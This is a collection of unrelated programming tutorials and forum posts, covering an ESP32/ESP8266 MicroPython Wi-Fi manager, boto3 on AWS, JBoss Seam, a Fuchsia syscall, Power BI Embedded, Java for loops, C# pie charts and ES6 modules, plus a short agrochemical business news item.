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In this user guide, we will learn how to incorporate Wi-Fi manager with our ESP32/ESP8266 boards. WiFi manager let us connect ESP32 or ESP8266 to a network without having to hardcode our network credentials in a script. We will be using a previous example when we learned how to build a web server (ESP32/ESP8266 MicroPython Web Server – Control Outputs) and include the wi-fi manager in it for better functionality.
Table of Contents
Introducing Wi-Fi Manager
With the addition of the Wi-fi manager library in MicroPython, we no longer have to separately provide the SSID and password of the local network. No hard coding would be required. We will be able to connect through other networks (Access Points) with our ESP32/ESP8266 boards automatically without any hassle of manually entering the network credentials every time. Multiple SSID connections, as well as additional custom variables, can also be implemented through this.
The Process of Integrating Wi-Fi Manager
The following flow chart taken from shows the process behind the execution of wi-fi managers with Esp boards in MicroPython.
- Initially, our Esp32 or Esp8266 will be set up as an Access Point when it starts.
- Next, to connect to your ESP board which acts as an AP, we will go to the IP address 192.164.4.1.
- A web page containing different network will be shown from which we will choose the one which we want to configure.
- These network credentials of the network we chose, will get saved in our ESP32/8266.
- Then we will set up a new SSID and password for our selected network. The ESP32/8266 will restart and now will be able to connect with the network we selected. In this phase the ESP board acts in the Station mode.
- If the connection is not successful, the ESP board goes back to AP mode and we will set the SSID and password again.
Wi-Fi Manager Library in MicroPython
MicroPython does not contain the library for the wi-fi manager so we will need to upload it ourselves. We will learn how to do this by using two different IDE for MicroPython:
import network import socket import ure import time <span style="color: #ff0000;"> Wi-Fi Client Setup </span> </h1> <form action="configure" method="post"> <table style="margin-left: auto; margin-right: auto;"> <tbody> """) while len(ssids): ssid = ssids.pop(0) client.sendall("""\ <tr> <td colspan="2"> <input type="radio" name="ssid" value="{0}" />{0} </td> </tr> """.format(ssid)) client.sendall("""\ <tr> <td>Password:</td> <td><input name="password" type="password" /></td> </tr> </tbody> </table> <p style="text-align: center;"> <input type="submit" value="Submit" /> </p> </form> <p> </p> <hr /> <h5> <span style="color: #ff0000;"> Your ssid and password information will be saved into the "%(filename)s" file in your ESP module for future usage. Be careful about security! </span> </h5> <hr /> <h2 style="color: #2e6c80;"> Some useful infos: </h2> <ul> <li> Original code from <a href="" target="_blank" rel="noopener">cpopp/MicroPythonSamples</a>. </li> <li> This code available at <a href="" target="_blank" rel="noopener">tayfunulu/WiFiManager</a>. </li> </ul> </html> """ % dict(filename=NETWORK_PROFILES)) client.close() def handle_configure(client, request): match = ure.search("ssid=([^&]*)&password=(.*)", request) if match is None: send_response(client, "Parameters not found", status_code=400) return False # version 1.9 compatibility try: ssid = match.group(1).decode("utf-8").replace("%3F", "?").replace("%21", "!") password = match.group(2).decode("utf-8").replace("%3F", "?").replace("%21", "!") except Exception: ssid = match.group(1).replace("%3F", "?").replace("%21", "!") password = match.group(2).replace("%3F", "?").replace("%21", "!") if len(ssid) == 0: send_response(client, "SSID must be provided", status_code=400) return False if do_connect(ssid, password): <span style="color: #ff0000;"> ESP successfully connected to WiFi network %(ssid)s. </span> </h1> <br><br> </center> </html> """ % dict(ssid=ssid) send_response(client, response) try: profiles = read_profiles() except OSError: profiles = {} profiles[ssid] = password write_profiles(profiles) time.sleep(5) return True else: <span style="color: #ff0000;"> ESP could not connect to WiFi network %(ssid)s. </span> </h1> <br><br> <form> <input type="button" value="Go back!" onclick="history.back()"></input> </form> </center> </html> """ % dict(ssid=ssid) send_response(client, response) return False def handle_not_found(client, url): send_response(client, "Path not found: {}".format(url), status_code=404) def stop(): global server_socket if server_socket: server_socket.close() server_socket = None def start(port=80): global server_socket addr = socket.getaddrinfo('0.0.0.0', port)[0][-1] stop() wlan_sta.active(True) wlan_ap.active(True) wlan_ap.config(essid=ap_ssid, password=ap_password, authmode=ap_authmode) server_socket = socket.socket() server_socket.bind(addr) server_socket.listen(1) print('Connect to WiFi ssid ' + ap_ssid + ', default password: ' + ap_password) print('and access the ESP via your favorite web browser at 192.168.4.1.') print('Listening on:', addr) while True: if wlan_sta.isconnected(): return True client, addr = server_socket.accept() print('client connected from', addr) try: client.settimeout(5.0) request = b"" try: while "\r\n\r\n" not in request: request += client.recv(512) except OSError: pass print("Request is: {}".format(request)) if "HTTP" not in request: # skip invalid requests continue # version 1.9 compatibility try: url = ure.search("(?:GET|POST) /(.*?)(?:\\?.*?)? HTTP", request).group(1).decode("utf-8").rstrip("/") except Exception: url = ure.search("(?:GET|POST) /(.*?)(?:\\?.*?)? HTTP", request).group(1).rstrip("/") print("URL is {}".format(url)) if url == "": handle_root(client) elif url == "configure": handle_configure(client, request) else: handle_not_found(client, url) finally: client.close()
Uploading wiFi Manager Library in uPyCraft IDE
Click on the New file icon in the tools section and a file will open up.
Write down all the code available at GitHub by clicking here. This code initializes the wi-fi manager library.
Click the Save button, and set wifimgr.py as the name of the file. You can save this file by giving in your preferred directory.
When you press the save button, the following window will appear:
To upload the wifi manager library, click the Download and Run button. You will see the wifimgr library under device option.
We have successfully installed the wifi manager library in uPyCraft IDE.
Uploading Wi-Fi Manager in Thonny IDE
Open a new file and write the library code available at GitHub which can be accessed from here.
Click on the Save button and set the file name as wifimgr.py
When you click on the save button, you will see the following window will appear. Select, MicroPython device to upload the library to ESP32 or ESP8266.
Note: The Device options in the menu bar to upload scripts are available in the previous versions of Thonny IDE.
After following these steps, we have successfully installed the Wi-Fi manager library in Thonny IDE.
Wi-Fi manager with ESP32 and ESP8266
As we have set up the wi-fi manager library in our respective IDEs, we can now see how to configure the wi-fi manager with our ESP boards. We will be using a previous example where we created a webpage that controlled the output GPIO pins of ESP32 and ESP8266. You can view that tutorial here.
The web page contains an ON and an OFF button indicating the status of an LED connected to the GPIO of the ESP boards. Instead of manually hard coding the network credentials, we will provide the SSID and password of our WiFi router to our ESP boards with the wi-fi manager instead.
MicroPython Script
We will first open a new file and save it as main.py. Save it in the same directory as wifimgr.py. Now copy the code which is given below in your main.py file.
import wifimgr # importing the Wi-Fi manager library from time import sleep import machine import gc try: import usocket as socket except: import socket led = machine.Pin(2, machine.Pin.OUT) wlan = wifimgr.get_connection() #initializing wlan if wlan is None: print("Could not initialize the network connection.") while True: pass print("ESP OK")</i> <a href=\"?led_2_on\"><button class="button">LED ON</button></a> </p> <p> <i class="far fa-lightbulb fa-3x" style="color:#000000;"></i> <a href=\"?led_2_off\"><button class="button button1">LED OFF</button></a> </p> </body> </html>""" return html s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('', 80)) s.listen(5) while True: try: if gc.mem_free() < 102000: gc.collect() conn, addr = s.accept() conn.settimeout(3.0) print('Received HTTP GET connection request from %s' % str(addr)) request = conn.recv(1024) conn.settimeout(None) request = str(request) print('GET Rquest Content = %s' % request) led_on = request.find('/?led_2_on') led_off = request.find('/?led_2_off') if led_on == 6: print('LED ON -> GPIO2') led_state = "ON" led.on() if led_off == 6: print('LED OFF -> GPIO2') led_state = "OFF" led.off() response = web_page() conn.send('HTTP/1.1 200 OK\n') conn.send('Content-Type: text/html\n') conn.send('Connection: close\n\n') conn.sendall(response) conn.close() except OSError as e: conn.close() print('Connection closed')
How the Code works?
The web server part of this code is taken from our previously published project here (ESP32/ESP8266 MicroPython Web Server – Control Outputs). You can refer to that for a code explanation of the web server part.
We will be importing the Wi-Fi manager library in the main.py file so that we will be able to use the wi-fi manager functionality.
import wifimgr
Then, we will be handling the Wi-fi manager by initializing WLAN. This will automatically set our ESP board in the station mode as it uses the instance ‘network.WLAN(STA_IF).’ The get_connection() function waits for the user to enter the ssid and password of your network.
wlan = wifimgr.get_connection() if wlan is None: print("Could not initialize the network connection.") while True: pass
We will be using try and except statements so that we are not left with an open socket. This occurs when the ESP board boots initially. Next, we will bind the socket to an IP address and a port number. This is achieved by using the bind() method. In our case, we will pass an empty string followed by ‘80’ to the bind() function. The empty string portrays the default IP address of our Esp32/Esp8266 board and ‘80’ specifies the port number set for the Esp web servers.
try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('', 80)) s.listen(5)
The ESP board would reset if there is a failure and we get an OS error. This shows that there was an open socket left. With the help of the reset() function, the open socket would be deleted.
except OSError as e: machine.reset()
Once we set the network credentials using the Wifi manager, the ESP board sets as a station instead of an access point and connects through the wi-fi manager.
MicroPython Wi-Fi Manager Demo
To see Wi-Fi manager demo, upload wifimgr.py and main.py files to ESP32 or ESP8266. After uploading press the reset button on your ESP board:
After pressing the reset button, you will see this message on shell console. Thats means ESP32/ESP8266 board has setup as a access point.
Now connect to soft access point using either your desktop computer or mobile phone. Open Wi-Fi settings in your mobile and you will see WifiManager as wireless connection.
Connect to WiFi manager by using a default password tayfunulu.
After successfully connecting with WiFiManager, open any web browser and type the IP address 192.168.4.1. You wil see the following page og Wi-Fi manager:
Select your network and enter the password in password window. After that press enter button. You will get the message that the ESP has successfully connected to a Wi-Fi network.
That means our ESP board has succesfully connected to WiFi network and it has setup in station mode. Now ESP32/ESP8266 will work in station mode as soon as you press the reset button. When you press the reset button, it will print the ESP web server IP address in station mode.
Now again connect your desktop computer or mobile phone with your local network that is router and paste the IP address in your web browser.
You will see this web page in your web browser which control GPIO2 of ESP32.
In summary
By using the Wi-Fi manager library, we do not have to hardcode our network credentials in our MicroPython script. WiFi-Manager library sets the ESP32/ESP8266 in soft access point mode and displays available network connections on a web page. It will let you select your network and connect to it using its name and password. Once your ESP board connected to the network, it will automatically work in station mode.
If you find this tutorial useful, you can read our MicroPython web server project here:
- ESP32/ESP8266 MicroPython Web Server – Control Outputs
- MicroPython: BME680 Web Server with ESP32 and ESP8266
- BME280 Web Server with ESP32/ESP8266 (Weather Station)
- MicroPython ESP32/ESP8266: Send Sensor Readings via Email (IFTTT)
- DS18B20 Web Server with ESP32/ESP8266(Weather Station)
- MicroPython: OpenWeatherMap API with ESP32/ESP8266 – Sensorless Weather Station
- DHT11/DHT22 Web Server with ESP32/ESP8266 (Weather Station)
- MicroPython: ESP32/ESP8266 Access Point – Web Server Example
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https://microcontrollerslab.com/micropython-wi-fi-manager-esp32-esp8266/
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WE MOVED TO ZULIP => <=
@AMHOL @solnic As far as i inderstood, you've implemented namespace in
dry-container as... well, namespace :)
I mean, it seems like a syntax sugar for long keys like "namespace.name" added via
namespaced(key) method, innit?
I think, why not (re)implement it as a nested container(s), whose methods are available from the "parent" container via nested name.
This would allow importing "namespaces - containers" from one to another. Like in case:
foo = Dry::Container.new foo.namespace(:bar) do register(:baz) { :BAZ } end qux = Dry::Container.new do import foo.namespace(:bar), as: :fbar # here resolve has to be reloaded to work with both variables and namespaces # also namespace w/o block would just return the namespace end qux.resolve("fbar.baz") # => :BAZ
I think about this feature in connection to
dry-data. When I read dry-data, the first thing I asked myself is: how to take some types defined inside one module and inject them to another. Just like in Haskell:
import Data.Char (toLower, toUpper)
or in transproc (the same haskell-inspired mechanism)
import :camelize, from: Inflecto, as: :up
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https://gitter.im/dry-rb/chat?at=56124637ff22c70f6fac1381
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If you are starting from scratch with using Python and Boto3 to script and automate Amazon AWS environments, then this should help get you going.
To begin, you’ll need a few items:
1) Download and install the latest Amazon AwsCli. The is the Command Line client for AWS.
2) You will need credentials for an Amazon AWS environment of course. There are lot’s of articles on how to setup AWS CLI with an AWS account.
3) Download and install the latest Python Release from python.org. For these examples I’m using Python 3.5.2.
4) You will need to ‘pip install boto3’ in a Python environment. You can do this from command line. I recommend creating a Virtual Environment for AWS-Boto3 to keep packages separate.
5) If you’ve never used a Python IDE before, try the free Pycharms Community Edition. I use it and it really helps speed up your coding.
At this point, you should have a working AWS CLI, Python Intepreter, and have pip installed the boto3 library.
It’s a good idea to keep the boto3 documentation handy in another browser tab. Because of how boto3 works, there is no premade library and, when working in pycharms, no autocomplete. Having the docs available to reference the objects and methods saves a lot of time.
In my experience with Boto3, there resources and there are clients.
import boto3 ec2 = boto3.resource('ec2') ec2client = boto3.client('ec2')
I use the resource to get information or take action on a specific item. I think of it as being at a ‘higher’ level than the client. When using the boto3 resource, you usually have to provide an id of the item. For example:
import boto3 ec2 = boto3.resource('ec2') vpc = ec2.Vpc('vpc-12345678')
There is usually no searching or enumerating items at the resource level. Now that the class vpc is defined, you can look at the attributes, references, or collections. You will also have a series of actions you can perform on the item.
# Attributes print(vpc.cidr_block) print(vpc.state) # Actions vpc.attach_internet_gateway(InternetGatewayId="igw-123456") vpc.delete() # Collections vpclist = vpc.instances.all() for instance in vpclist: print(instance)
When using a client instead of a resource, you get a level of control over AWS items that is very close to the AWS CLI interface. With the client, you get more detail, can search, and can get very granular in your filters and tasks. Almost every resource has a client available.
For example:
import boto3 # Ec2 ec2 = boto3.resource('ec2') ec2client = boto3.client('ec2') # S3 s3 = boto3.resource('s3') s3client = boto3.client('s3')
One of the most useful benefits of using a client is that you can describe the AWS items in that resource, you can filter or iterate for specific items, and manipulate or take actions on those items.
In the VPC example above, when defining the VPC resource, we needed to know the ID of the vpc. With a client, you can list all the items and find the one you want.
import boto3 ec2 = boto3.resource('ec2') ec2client = boto3.client('ec2') response = ec2client.describe_vpcs() print(response)
What you get back is a dictionary with the important item called “Vpcs”. This dictionary item is the output containing all the VPCs. (We could expect this from the Boto3 docs).
So let’s list out all the VPCs from the response
import boto3 ec2 = boto3.resource('ec2') ec2client = boto3.client('ec2') response = ec2client.describe_vpcs() print(response) for vpc in response["Vpcs"]: print(vpc)
Now you can see how it starts to break down into the info you want. Here you can see a list of dictionaries from the Vpc.
Next, lets get to the individual items of each VPC.
import boto3 ec2 = boto3.resource('ec2') ec2client = boto3.client('ec2') response = ec2client.describe_vpcs() for vpc in response["Vpcs"]: print("VpcId = " + vpc["VpcId"] + " uses Cidr of " + vpc["CidrBlock"])
That’s the very basics of it. Post any questions in the comments below. And I’ll be adding more posts on Boto3 in the coming days and weeks.
When I try this:
import boto3
ec2 = boto3.resource(‘ec2’)
ec2client = ec2.client(‘ec2’)
response = ec2client.describe_vpcs()
print(response)
I get this:
AttributeErrorTraceback (most recent call last)
in ()
1 import boto3
2 ec2 = boto3.resource(‘ec2’)
—-> 3 ec2client = ec2.client(‘ec2’)
4 response = ec2client.describe_vpcs()
5 print(response)
AttributeError: ‘ec2.ServiceResource’ object has no attribute ‘client’
Do you have any idea why that might be please?
Sorry – Had a typo in the article.
That line should read ec2client = boto3.client(‘ec2’)
I corrected the post as well.
Paul, in line 3, the client function should be applied to the boto3 library, not the ec2 object you just created.
The code should be:
ec2client = boto3.client(‘ec2’)
The same applies to the other calls on the client function as well.
Hope that helps!
ec2client = boto3.client(‘ec2’)
I would you list eni and or only list eni that aren’t associated with an instance. I can’t find any example anywhere for this.
You can use the ec2 client method describe_network_interfaces()
The response will include a list of network IDs. You can iterate over the list (pagination may be needed) and inspect each id for an attachment.
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https://www.slsmk.com/getting-started-with-amazon-aws-and-boto3/?replytocom=1238
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Hi Seamers,
I can't get org.jboss.seam.international.status.Messages to display messages. Nothing will show up; no errors:
@Model public class TestController { @Inject private Messages messages; public void testAction() { messages.error("seam error message"); messages.info("seam info message"); } }
I am using Seam 3.0.0.Final with jar packing on jboss-6.0.0.Final.
It's working fine in a deployed seam-example (3.0.0.Final) and I don't see how my code differs from the example.
Any help is highly appreciated, thanks in advance,
Sascha
Hey Sacha, do you have seam faces in your application
Hi Jose,
I removed seam faces because I got a very strange error about transactions (Nested transaction not supported) while persisting my objects to the database. It all worked again after removing seam faces. So I forgot about the error.
Now I added seam faces and the status message works fine :-) Thanks for the help.
Anyway... now I have the transactions error again :-( I will have a look on that in the next days.
Sascha
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https://developer.jboss.org/thread/178480
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NAME
Duplicate a handle.
SYNOPSIS
#include <zircon/syscalls.h> zx_status_t zx_handle_duplicate(zx_handle_t handle, zx_rights_t rights, zx_handle_t* out);
DESCRIPTION
zx_handle_duplicate() creates a duplicate of handle, referring
to the same underlying object, with new access rights rights.
To duplicate the handle with the same rights use ZX_RIGHT_SAME_RIGHTS. If different
rights are desired they must be strictly lesser than of the source handle. It is possible
to specify no rights by using ZX_RIGHT_NONE. To remove ZX_RIGHT_DUPLICATE right when
transferring through a channel, use
zx_channel_write_etc().
RIGHTS
handle must have ZX_RIGHT_DUPLICATE.
RETURN VALUE
zx_handle_duplicate() returns ZX_OK and the duplicate handle via out on success.
ERRORS
ZX_ERR_BAD_HANDLE handle isn't a valid handle.
ZX_ERR_INVALID_ARGS The rights requested are not a subset of handle rights or out is an invalid pointer.
ZX_ERR_ACCESS_DENIED handle does not have ZX_RIGHT_DUPLICATE and may not be duplicated.
ZX_ERR_NO_MEMORY Failure due to lack of memory. There is no good way for userspace to handle this (unlikely) error. In a future build this error will no longer occur.
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https://fuchsia.dev/fuchsia-src/reference/syscalls/handle_duplicate
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Power BI Embedded Explained - Part 2
This video series explains what is Power BI Embedded feature that Microsoft announced in Build 2016 conference last week.
In part 4, i explain App Token types and the importance of understanding how Power BI API authenticates applications when rendering reports. Also, This part has ASP.NET Web forms application that uses Power BI Embedded report that we have imported in part 2 in Power BI workspace collection in Azure.
Part 4 is focusing on:
If you haven't watched part 1, here is a link for it.
If you haven't watched part 2, here is a link for it.
if you haven't watched part 3, here is a link for it.
Hi Mostafa,
Great work!! Thanks a lot.
I have question as you shown we can integrate complete dashboard.
Can I integrate one tile of dashboard not complete dashboard in my api (C# & Asp.net).
If yes can you help me resource link to follow.
Thanks and Regards
Abhijeet Barbate
@abhijeetbarbate:we were sharing/viewing a complete dashboard in our app. i want to make sure that i understand your question?
Hello Mostafa,
thank you, you explain things much better than any other documents online in terms of Power BI embedded;
my questions is, when I am working in my own project folder following your tutorial part 4, after I include all NuGet packages mentioned here, I still get some errors for: "namespace not found",
like in Default.aspx.cs, I get namespace not found for ReportViewModel, after I realize I should add ReportViewModel.cs in my Models folder and do that, I get another error saying namespace not found for "IReports", in ReportViewModel.cs;
another example is that "CreateDevToken is not found",
it seems a lot of other things are still missing, are there any other libraries that we need to include somewhere, apart from the ones that we install through NuGet,
or from your project,, what do we have to add into our project folder, which has no Power BI elements before at all, but have many other asp.net pages, in order to run Power BI embedded reports in our webform? (apart from the elements installed through Nuget that are mentioned in this video)
I am quite a beginner, so I am sorry for bothering you if my questions are silly; thank you again for your amazing videos,thank you.
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https://channel9.msdn.com/Blogs/MostafaElzoghbi/Power-BI-Embedded-Explained-Part-4
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The article is about the Java for loop and it’s uses.
The Java for loop is used to create a loop that runs a certain amount of times, until the given condition has been met. This is in contrast to it’s counter parts, the while loop and do while loop which iterate for an unspecified number of times as long as a condition is met.
For loops in Java are more flexible and can be manipulated to a greater degree than for loops in languages like VB.NET or Python. For loops in Java also have a variant called the For each loop, sometimes referred to as the enhanced for loop. We’ll discuss that here briefly too.
Make sure to use the correct loop for your program. Evaluate the pros and cons of each loop and be clear on what you require.
Syntax
The Java syntax for the for loop is identical to that of the for loop in C++.
Below is the general form of the for loops in Java. Emphasis on general form, as for loops in Java can be heavily manipulated by changing, adding and removing parameters.
for(initialization; condition; increment) { statement sequence }
- initialization: This is where the loop control variables gets declared and initialized. Typically all loop control variables are initialized from zero.
- condition: The condition that must become false for the For Loop to end.
- increment: Defines the increment of the loop control variables every iteration.
Simple for loop
This the Java for loop in it’s most basic and most commonly used form. A simple initialization starting from 0, a given condition, and an increment of 1 after each iteration.
public class example { public static void main(String[] args) { for (int i = 0; i < 10; i++) { System.out.println("Value of i is " + i); } } }
This purpose of this loop is simply to repeat 10 times.
Value of i is 0 Value of i is 1 Value of i is 2 Value of i is 3 Value of i is 4 Value of i is 5 Value of i is 6 Value of i is 7 Value of i is 8 Value of i is 9
Removing a parameter
Remember, the condition parameter can never be removed. It is necessary for a loop to have a condition. Similarly, the initialization step must not be skipped either. However, we may skip the 3rd parameter (to some degree).
First we shall demonstrate running a loop without the third parameter.
for (int i = 0; i < 10;) { System.out.println("Value of i is " + i); }
If the above is written in the above style, it will result in an infinite loop. It has a condition, but that condition will never be fulfilled. The value of
i is not increasing at all. (In some cases, an infinite loop might actually be useful).
Hence, to achieve a more normal for loop, we increment the value of
i within the code block as shown below. This loop is now the same as the first example shown on this page.
for (int i = 0; i < 10;) { System.out.println("Value of i is " + i); i = i + 1; }
Multiple control variables
One of the unique features of the Java for loop is the ability to have multiple initializations for multiple variables. See the example below to understand further.
public class example { public static void main(String[] args) { int i, j; for (i = 0, j = 10; i <= j; i++, j--) { System.out.println(i + " - " + j); } } }
The above code produces the following output. The loop terminates when the given condition has been fulfilled, that
i must be greater or equal to
j.
0 - 10 1 - 9 2 - 8 3 - 7 4 - 6 5 - 5
continue statement
The continue statement will stop the current iteration of a loop and skip to the next, avoiding any statements in between. We will use the first example of the for loop, and add in the continue statement to observe its effects.
public class example { public static void main(String[] args) { for (int i = 0; i < 10; i++) { if (i % 2 == 0) { continue; } System.out.println("Value of i is " + i); } } }
Value of i is 1 Value of i is 3 Value of i is 5 Value of i is 7 Value of i is 9
The above code will keep skipping the
System.out statement while the value of
i is an even number. Hence, all the odd numbers from 0 to 9 are printed.
Break statement
The break statement is used for pre-mature termination of a loop. As soon the loop encounters the break statement, the loop will stop its execution and move on to the next statement after the loop.
public class example { public static void main(String[] args) { for(int x = 0; x < 10; x++ ) { if(x == 5) break; System.out.println(x); } } }
0 1 2 3 4
The above code terminates the loop once the value of x reaches 5.
This marks the end of the Java for loop article. Any suggestions or contributions for CodersLegacy are more than welcome. Questions regarding the tutorial content can be asked in the comments section below.
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19 August 2009 15:28 [Source: ICIS news]
TORONTO (ICIS news)--Bayer CropScience has agreed to acquire US biotech firm Athenix in a move to strengthen its position in the seeds and traits market, the Germany-based producer said on Wednesday.
Athenix, which employs a staff of 65 at its base in ?xml:namespace>
The acquisition would also bolster Bayer CropScience’s trait platform for its established core crops such as oilseeds, cotton, rice and wheat, it added.
The deal would allow Bayer CropScience to strengthen its attractiveness as a partner to other stakeholders in the seed business worldwide and would generate attractive additional trait fee income, it said.
“As part of our long-term strategy for innovation and growth, we intend to strengthen the position of Bayer CropScience in the seeds and traits market,” CEO Friedrich Berschauer said.
“This acquisition underpins the expansion of our BioScience core crop platform and allows Bayer CropScience to create a strong research platform in North America, the most important seed technology market of the world”, he said.
Financial terms were not disclosed.
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In my last article Creating a Pie Chart on Fly with VB.NET, I showed How to create dynamic pie chart using GdI+ capabilities, to extend that further I would like to show you code that would create exploded pie chart and implementing click through functionality to that chart.
Run sample code
Pie Chart component is made up of four classes and one enum.
All of the above classes are under namespace UtChart.
pieChartData. As name suggests this class will keep all data required to define chart. Our first requirement to draw chart is array of chart values and legends if click through is required then array of links is required and if exploded chart is required then we will require array of bool type to determine to expload or not. Other then that we also have margins on top, bottom, left and right, piedia for specifying diameater of pie, array colorval for specifying colors of pie, imageformat to specify image formate( gif, jpeg, bmp), ExploadOffset which is Distance as Percentage of pieDia from center for Exploaded pie, chartFont is Font Used in Chart to Draw Legends, pieratio is Percentage of Pie Height to Pie Width and pie3dRatio is Percentage of Pie Thickness to Piedia.
As we also want to have click through facility we will require all calculation for drawing to be done separately, and then from that data we can draw chart and also create image map( For click through facility). Method getDrawdata does same thing once instance of pieChartData is created getDrawdata can provide data for drawing chart.
Another method getimageMap gives html image map using pieDrawdata object returned from getDrawData method.
PieDrawData. This class describes data which is required to draw chart and to get Image map. Object contains following properties, 'imageWidth' Chart's Image Width in pixels, 'imageHeight' Chart's Image Height in pixels, 'legendWidth' Maximum Width of Legend for Given Font, 'valWidth' Maximum Width of Chart Values for Given Font, 'PercentWidth' Maximum Width of Percentage for Given Font, 'pieRect' Array of Rectangle object for each correspoiding values, 'piewidth' Actual space taken by pie after adding values for exploaded pies, 'fontHeight' Height of font used for Writing on chart and 'LegandMap' Array of Rectangle object which describes actual position of legends on Image ( used for ImageMaping ).
pieChart. This class draws image by using graphics, it has only one method getPieChart which takes refrence of pieChartData and returns image as stream.
colordata. This class contains Array 31 colors, if there are more then 31 elements in charts then Piechartdatas constructor will take care to start again from first after 31st color. Also user can specify there own colors through colorval property of pieChartdata object.
imageFormat (enum). Contains three members.
How to use this component:
First Compile files pieChart.cs, pieChartData.cs, pieDrawData.cs and chartCommon.cs under namespace Utchart.
Copy UtChart.dll to your bin directory of web server and copy PieCharServer.aspx and pieChartSample.aspx to you rootdirectory.
We will require two aspx files to present chart.
pieChartServer.aspx this page will generate Dynamic image using utChart assembly. This page will create pieChartData object first from query string data, and then pass reference of this object to method getPieChart of pieChart object to get stream which contains image. And finally save stream as Response.OutputStream.
pieChartSample.aspx this is a sample page which shows how to use piechart component, again in this page we will create pieChartData object from data passed through web form then we will use getImageMap method of pieChartData to get Image map. To display pie image on this page we will call pieChartServer.aspx
( <img src='pieChartServer.aspx?Legends=(yahoo.com, rangat.com, google.com)&Vals=(15,18,25)&Expload=(False,False,True)>)
Summary
Although I have shown only web page sample however you can also use same component for window application, once again I havent done error handling, other thing which comes in my mind is using images instead of colors in pie which you can try.
Creating Exploded Pie Chart Having Click Through Functionality in C#
Digital Watch In C#
Can we implement the same in a Windows Application?
third class
HOw to generate for pie chart with spaces in area
Great post. The image map related code was particularly useful for me. However, there is a problem if pie ratio is not 100 (say 70). If the image size is increased you will see that the image maps overlap adjacent pie sectors. For example, in your sample itself khel.com's link extends into the adjacent region of amazon.com. Things are fine when ratio is 100. Any idea how to solve this?
Hi, Really nice work. The only thing is how can I change the chart positioning on the page
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Sidenote protip: the thing that made this blog post writable for me, and a thing that I do and would recommend you try doing, is reading machine-readable output. Compiled, compressed, so-called-unreadable output, is, if you look at long enough, still readable. No superpowers are required: if you can get through difficult literature, you can consume code. But doing so requires a change in attitude: whether you want to treat minified JavaScript as opaque, or crack it open. Or if you want to treat SVGs as only the output of Sketch, or to try reading them. I highly recommend giving it a shot.
Sidenote disclaimer: this post isn’t a recommendation to use ES6 modules, or to stay away from them. Some of my projects do, others don’t. I think that the benefits outweigh the negatives in some cases, and in other cases they don’t. I love the fact that they’re explicit and efficient, but fear their slow acceptance.o Will ES6 modules be seen as a maturation of JavaScript, or a mistake that fragments the language and makes modularization harder? The truth is, I don’t know.
Sidenote credit: like most core JavaScript topics, Axel Rauschmayer already wrote an astonishingly precise, fantastic, in-depth explanation of the new module system. Much credit to him: this will just discuss oft-misunderstood topics, and hopefully emphasize just the cool parts.
But to the point, let’s dive into how ES6 modules are different.
What’s a binding?
var a = 1;
Has three parts:
a, an
Identifier. Identifiers are names that can be assigned to values in JavaScript.
2, avalue` - in this case, a NumericLiteral.
var a = 2, a binding of the value 2 to the name a, with the
vartype, which means that
acan be reassigned and has function scope. It could also be a
letor
constbinding. The binding is what allows us to refer to the value 2, or whatever the value of
ais, by writing
a, instead of writing the literal value.
What’s a scope?
function add(a, b) { // bind j to 10, a variable binding within the scope // of add var j = 10; // a, b are in scope return a + b; } add(1, 2); // This line will fail: j is in scope of add, and it // isn't accessible outside of add. console.log(j);
I said ‘scope’ when I described this binding. What’s a scope? A scope is a
set of bindings that are available within some section of code. That section
might be a function, a module, or a block, like the
if part of
an
if
else statement.
Scopes can be hard to describe and hard to explain because nothing says ‘scope’ in JavaScript: they’re implied by the structure. Mainly when we talk about scope we refer to things in scope, like variables defined inside of functions and the parameters of functions, and things that are out of scope, like variables defined outside of a function or in a different module.
Let me explain this by starting with Node.js modules.1
My mental model of this type of module was:
module.exportsobject.
require()grabs the
modules.exportobject filled by another module and brings it elsewhere.
This model pretty much describes how typical Node modules work, and you can confirm this by using browserify. If you take this module:
module.exports.a = 1;
And run it through browserify, you get this code, which I’ve simplified and formatted for presentation.
(function outer (modules, cache, entry) { function require(name) { if (!cache[name]) { var m = cache[name] = { exports: {} }; // This is where the action is. Modules get wrapped // in the body of functions when they're bundled by browserify, // and those functions are called with module.exports // in scope. You get to assign values to the module.exports // object, and then we use that object as the module's exports modules[name][0].call(m.exports, function(x) { var id = modules[name][1][x]; return require(id ? id : x); }, m, m.exports, outer, modules, cache, entry); } return cache[name].exports; } for (var i = 0; i < entry.length; i++) { require(entry[i]); } return require; })({ 1: [ function(require, module, exports) { module.exports.a = 1; }, {} ] }, {}, [1] );
I’m not sure if that code example will be explanatory to everyone, so here’s another way to look at it.
We said before that scopes were sets of bindings that were accessible within
a certain chunk of code. Modules have scope, so bindings that you make inside
of modules can never make their way out. This is good, in a way - you never
accidentally define
a in one module and
a in another and the two conflict:
you can be sure that internal variables don’t conflict.
What you do push out of Node modules are values that you attach to module.exports as properties. And then in other modules, you can get those values out and add them to other bindings.
Where this is really obvious is the different kinds of variable bindings.
var
has been around for a while and is very popular, but
let and
const, types
of bindings that give you more control, are increasingly common in ES6 code.
ES6 modules export and import bindings, not values.
We’ll use the same trick as we did with Node modules: using a bundler to show how these new kinds of modules work. But instead of Browserify, we’ll use Rollup, a new bundler that has great, strict support for ES6 modules.
So, we bundle two files:
a.js
export const a = 1;
add.js
import { a } from './a'; console.log(a + 1);
Running rollup on
add.js creates this combined file:
const a = 1; console.log(a + 1);
Note, first, that this is a lot shorter than even the browserify output for one file. The efficiency of ES6 for bundling is one of its biggest selling points.
And then notice that the code in
a.js and the code in
add.js live in the
same scope, so when we’re referring to
a in
add.js, we aren’t referring
to a value of
1 that we required from one module to another, but the binding
of
a, of the
const type, that is magically transported from
a.js into
add.js.
You can see this for yourself if you try to reassign
a:
import { a } from './a'; console.log(a++);
Produces:
🚨 Illegal reassignment to import 'a' es6.add.js (3:12) 1: import { a } from './a'; 2: 3: console.log(a++);
And the module we require has control over this binding:
import { a } from './a'
doesn’t specify whether
a is a
var or a
let or a
const variable. `
But wait, you might be thinking: modules have scopes, so they have that nice guarantee that internal variables you define in modules never conflict! Well, luckily ES6 modules aren’t really all in the same scope, they’re in scopes that share bindings. If you have some internal variable with a name conflict, Rollup helpfully, transparently, renames it for you in the generated output:
add.js
import { a } from './a'; var x = 10; console.log(a + 10);
a.js
var x = 10; export const a = x;
Generates:
var x$1 = 10; const a = x$1; console.log(a + 10);
String constants are strings, like
"SAVED", that let programs communicate
about types or actions simply. Redux, especially, uses string constants
